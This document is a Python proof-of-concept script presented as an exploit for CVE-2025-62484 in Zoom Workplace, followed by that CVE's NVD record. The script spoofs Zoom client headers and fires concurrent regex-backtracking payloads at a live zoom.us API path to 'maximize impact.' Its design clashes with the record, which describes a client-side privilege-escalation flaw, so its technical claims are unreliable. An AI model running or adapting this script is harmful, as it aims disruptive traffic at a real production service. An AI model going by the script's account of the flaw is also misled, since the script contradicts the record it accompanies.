CVE-2025-62484

# CVE-2025-62484 PoC - Zoom Workplace Regex DoS # This PoC demonstrates the regex complexity issue in Zoom Workplace Clients import requests import time import concurrent.futures def create_malicious_payload(): """ Generate payload that triggers catastrophic backtracking Pattern like: (a+)+$ or similar nested quantifiers """ # Construct input that causes exponential backtracking base_pattern = "a" * 25 + "!" # Long run of 'a' followed by non-matching char return base_pattern def send_exploit(target_url, payload): """ Send malicious payload to Zoom endpoint """ headers = { 'User-Agent': 'Zoom-Workplace-Client/6.5.0', 'Content-Type': 'application/json', 'X-Client-Version': '6.5.0' } try: response = requests.post( target_url, json={'data': payload}, headers=headers, timeout=30 ) return response.status_code except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def main(): target = "https://zoom.us/api/v2/meetings/parse_invitation" payload = create_malicious_payload() print(f"[*] CVE-2025-62484 PoC - Zoom Regex DoS") print(f"[*] Target: {target}") print(f"[*] Payload length: {len(payload)}") # Send multiple requests concurrently to maximize impact with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(send_exploit, target, payload) for _ in range(5)] for future in concurrent.futures.as_completed(futures): result = future.result() print(f"[*] Request completed with status: {result}") print("[*] Exploit sent. Check Zoom client responsiveness.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62484", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:53.200", "lastModified": "2025-11-19T17:24:03.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inefficient regular expression complexity in certain Zoom Workplace Clients before version 6.5.10 may allow an unauthenticated user to conduct an escalation of privilege via network access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:android:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "98DD5270-A4AE-4E08-A2E1-5A7DF2E76F36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "20C73D4A-B93C-4CD8-B753-0B1CA49DD23F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace:*:*:*:*:*:android:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "019D6D44-FAB4-47EC-9A82-CDCA374293F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "0E1FD0E8-796C-4F88-9321-59C5B8B359D4"}]}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25048", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}